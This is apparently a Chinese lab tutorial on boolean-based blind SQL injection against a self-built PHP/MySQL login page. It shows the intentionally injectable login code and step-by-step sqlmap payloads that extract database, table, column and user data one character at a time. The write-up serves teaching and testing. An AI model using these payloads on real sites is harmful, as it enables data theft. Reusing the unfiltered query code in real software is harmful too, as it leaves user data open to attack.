CentOS 7 + Apache + PHP + MySQL
登录页面布尔型盲注
php文件如下
include "public.php";
//连接数据库
$uname=$_REQUEST["yonghuming"];
$pass=$_REQUEST["mima"];
//提取从login.html中POST的键值对
$sql="SELECT username,password FROM userpass WHERE username='$uname'";
//在userpass表中查找符合条件的一行username password
$re=mysqli_query($conn,$sql);
$n=mysqli_num_rows($re);
//返回的行数
if(!$n){
echo "";
}
else{
while($data=mysqli_fetch_assoc($re)){
if($data['username']==$uname&&$data['password']==$pass){
//如果查询出的data的['username']的值与传入的uname的值相等且...相等
echo "";}
else{
//密码的值与数据库中值不匹配
echo "";
}
}
}
?>
数据库是用root账户连接的
没有任何过滤
选择yonghuming作为注入点
sqlmap加参数-v 3可以看到测试payload
搭配此博客食用效果更佳
SQL注入:常用函数及子句等
第一轮payload猜解数据库个数
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(
COUNT(
DISTINCT(schema_name)
)
AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.SCHEMATA)
,1,1)
)>51
AND 'nUSA'='nUSA
retrieved 5//得到数据库个数
解析
第二轮payload猜解数据库名
a' AND
ORD(
MID(
(SELECT
DISTINCT(
IFNULL(
CAST(schema_name AS CHAR)
,0x20)
)
FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1)
,1,1)
)>96
AND 'chdl'='chdl
retrieved phptest//数据库名
解析
第一轮payload猜解表的个数
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(COUNT(table_name) AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x70687074657374)
,1,1)
)>51
AND 'dUQC'='dUQC
retrieved 1 //此库中表的个数
解析
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(table_name AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x70687074657374 LIMIT 0,1)
,1,1)
)>96
AND 'lWxK'='lWxK
retrieved userpass
解析
改变 > 后的值和MID(,X,1)逐位猜解字符
第一轮payload猜解列数
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(
COUNT(column_name)
AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657270617373 AND table_schema=0x70687074657374)
,1,1)
)>51
AND 'fMsG'='fMsG
retrieved 2
解析
table_name=0x7573657270617373对应userpass八个字符的ASCII值(HEX)
第二轮payload猜解列名
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(column_name AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657270617373 AND table_schema=0x70687074657374 LIMIT 0,1)
,1,1)
)>48
AND 'RAwU'='RAwU
retrieved username
解析
逐位猜解八个字符username
第三轮payload猜解字段类型
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(column_type AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657270617373 AND column_name=0x757365726e616d65 AND table_schema=0x70687074657374)
,1,1)
)>41
AND 'mPmD'='mPmD
retrieved varchar(100)
解析
逐位猜解十二个字符 varchar(100)
第一轮payload猜解数据个数
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(COUNT(*) AS CHAR)
,0x20)
FROM phptest.userpass)
,1,1)
)>51
AND 'soxV'='soxV
retrieved 20
解析
没什么好解析的
第二轮payload猜解数据值
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(username AS CHAR)
,0x20)
FROM phptest.userpass ORDER BY username LIMIT 0,1)
,13,1)
)>100
AND 'QtoF'='QtoF
retrieved "adasf"
一轮payload猜解当前用户名
a' AND
ORD(
MID((
IFNULL(
CAST(CURRENT_USER() AS CHAR)
,0x20)
),1,1)
)>64
AND 'PqzR'='PqzR
解析
逐个字符猜解当前用户名
一轮payload猜解当前数据库名
a' AND
ORD(
MID((
IFNULL(
CAST(DATABASE() AS CHAR)
,0x20)
),7,1)
)>114
AND 'Nwcd'='Nwcd
解析
逐个字符猜解当前数据库名
一轮payload查询是否为dba
a' AND
(
SELECT (
CASE WHEN (
(SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)
=0x59)
THEN 1 ELSE 0 END)
)=1
AND 'wANf'='wANf
解析
user=0x726f6f74 正对应当前用户名root的ASCII(HEX)
当前用户有权限读取包含所有用户的表的权限,所以可用此选项列出所有管理用户
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(
COUNT(DISTINCT(grantee)
) AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.USER_PRIVILEGES)
,2,1)
)>48
AND 'eGCC'='eGCC
LIMIT X,1 代表操作索引为X的一条记录,X从0开始
MID X,1 代表操作某个字符串的第X位,X从1开始
ORD ()>X 代表正在判断某个字符是不是ASCII值为X的字符
流程
猜个数(数据库、库中表、表中列、列中值)
猜类型(表中列)
猜值(库名、表名、列名、列中值)